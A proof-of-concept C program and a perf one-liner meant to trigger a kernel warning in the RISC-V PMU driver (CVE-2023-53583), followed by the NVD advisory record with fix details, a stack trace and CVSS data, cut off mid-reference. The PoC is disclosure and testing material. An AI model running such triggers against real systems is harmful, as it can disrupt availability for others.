CVE-2023-53583

// PoC for CVE-2023-53583 - Trigger RISC-V PMU WARN_ON_ONCE warning // Run on a RISC-V platform (e.g., SiFive HiFive Unmatched) // Requires: Linux kernel 6.4-rc4 or similar affected version // Requires: perf tool and access to PMU hardware events #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #include <linux/perf_event.h> #include <asm/unistd.h> static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); } int main(int argc, char **argv) { struct perf_event_attr pe; long fd1, fd2; int i; memset(&pe, 0, sizeof(struct perf_event_attr)); pe.type = PERF_TYPE_HARDWARE; pe.size = sizeof(struct perf_event_attr); pe.config = PERF_COUNT_HW_CPU_CYCLES; pe.disabled = 1; pe.exclude_kernel = 1; pe.sample_period = 100; // Very small period to trigger frequent interrupts // Open a hardware cycle counter with high frequency sampling fd1 = perf_event_open(&pe, 0, 0, -1, 0); if (fd1 == -1) { perror("perf_event_open"); return 1; } // Open another counter to increase interrupt load pe.config = PERF_COUNT_HW_INSTRUCTIONS; fd2 = perf_event_open(&pe, 0, 0, fd1, 0); if (fd2 == -1) { perror("perf_event_open (instructions)"); close(fd1); return 1; } // Start both counters - this will trigger frequent overflow interrupts ioctl(fd1, PERF_EVENT_IOC_ENABLE, 0); ioctl(fd2, PERF_EVENT_IOC_ENABLE, 0); // Run workload to generate many PMU interrupts // This should cause throttling and then unthrottling, // triggering the WARN_ON_ONCE in riscv_pmu_start() printf("Generating high PMU interrupt load...\n"); for (i = 0; i < 1000000; i++) { // Busy loop to generate CPU activity volatile long x = 0; x += i * 2; } // Check kernel log for WARN_ON_ONCE message printf("Check dmesg for WARN_ON_ONCE at drivers/perf/riscv_pmu.c:184\n"); close(fd1); close(fd2); return 0; } // Alternative trigger method using perf command line: // perf stat -e cycles,instructions -c 100 dd if=/dev/zero of=/dev/null bs=1M count=1000 // This generates enough PMU interrupts to trigger throttling and the warning.

{"cve": {"id": "CVE-2023-53583", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:54.090", "lastModified": "2026-03-23T18:34:24.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: RISC-V: Remove PERF_HES_STOPPED flag checking in riscv_pmu_start()\n\nSince commit 096b52fd2bb4 (\"perf: RISC-V: throttle perf events\") the\nperf_sample_event_took() function was added to report time spent in\noverflow interrupts. If the interrupt takes too long, the perf framework\nwill lower the sysctl_perf_event_sample_rate and max_samples_per_tick.\nWhen hwc->interrupts is larger than max_samples_per_tick, the\nhwc->interrupts will be set to MAX_INTERRUPTS, and events will be\nthrottled within the __perf_event_account_interrupt() function.\n\nHowever, the RISC-V PMU driver doesn't call riscv_pmu_stop() to update the\nPERF_HES_STOPPED flag after perf_event_overflow() in pmu_sbi_ovf_handler()\nfunction to avoid throttling. When the perf framework unthrottled the event\nin the timer interrupt handler, it triggers riscv_pmu_start() function\nand causes a WARN_ON_ONCE() warning, as shown below:\n\n ------------[ cut here ]------------\n WARNING: CPU: 0 PID: 240 at drivers/perf/riscv_pmu.c:184 riscv_pmu_start+0x7c/0x8e\n Modules linked in:\n CPU: 0 PID: 240 Comm: ls Not tainted 6.4-rc4-g19d0788e9ef2 #1\n Hardware name: SiFive (DT)\n epc : riscv_pmu_start+0x7c/0x8e\n ra : riscv_pmu_start+0x28/0x8e\n epc : ffffffff80aef864 ra : ffffffff80aef810 sp : ffff8f80004db6f0\n gp : ffffffff81c83750 tp : ffffaf80069f9bc0 t0 : ffff8f80004db6c0\n t1 : 0000000000000000 t2 : 000000000000001f s0 : ffff8f80004db720\n s1 : ffffaf8008ca1068 a0 : 0000ffffffffffff a1 : 0000000000000000\n a2 : 0000000000000001 a3 : 0000000000000870 a4 : 0000000000000000\n a5 : 0000000000000000 a6 : 0000000000000840 a7 : 0000000000000030\n s2 : 0000000000000000 s3 : ffffaf8005165800 s4 : ffffaf800424da00\n s5 : ffffffffffffffff s6 : ffffffff81cc7590 s7 : 0000000000000000\n s8 : 0000000000000006 s9 : 0000000000000001 s10: ffffaf807efbc340\n s11: ffffaf807efbbf00 t3 : ffffaf8006a16028 t4 : 00000000dbfbb796\n t5 : 0000000700000000 t6 : ffffaf8005269870\n status: 0000000200000100 badaddr: 0000000000000000 cause: 0000000000000003\n [<ffffffff80aef864>] riscv_pmu_start+0x7c/0x8e\n [<ffffffff80185b56>] perf_adjust_freq_unthr_context+0x15e/0x174\n [<ffffffff80188642>] perf_event_task_tick+0x88/0x9c\n [<ffffffff800626a8>] scheduler_tick+0xfe/0x27c\n [<ffffffff800b5640>] update_process_times+0x9a/0xba\n [<ffffffff800c5bd4>] tick_sched_handle+0x32/0x66\n [<ffffffff800c5e0c>] tick_sched_timer+0x64/0xb0\n [<ffffffff800b5e50>] __hrtimer_run_queues+0x156/0x2f4\n [<ffffffff800b6bdc>] hrtimer_interrupt+0xe2/0x1fe\n [<ffffffff80acc9e8>] riscv_timer_interrupt+0x38/0x42\n [<ffffffff80090a16>] handle_percpu_devid_irq+0x90/0x1d2\n [<ffffffff8008a9f4>] generic_handle_domain_irq+0x28/0x36\n\nAfter referring other PMU drivers like Arm, Loongarch, Csky, and Mips,\nthey don't call *_pmu_stop() to update with PERF_HES_STOPPED flag\nafter perf_event_overflow() function nor do they add PERF_HES_STOPPED\nflag checking in *_pmu_start() which don't cause this warning.\n\nThus, it's recommended to remove this unnecessary check in\nriscv_pmu_start() function to prevent this warning."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.40", "matchCriteriaId": "E6EFF31A-CB27-4D1C-B087-C46D983434A0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.5", "matchCriteriaId": "923F6AEA-C2EF-4B08-B038-69A18F3D41F8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:*", "matchCriteriaId": "0B3E6E4D-E24E-4630-B00C-8C9901C597B0"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/66843b14fb71825fdd73ab12f6594f2243b402be", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8270d539a943d00cf6a094da0073e2b5972b641d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "http ... 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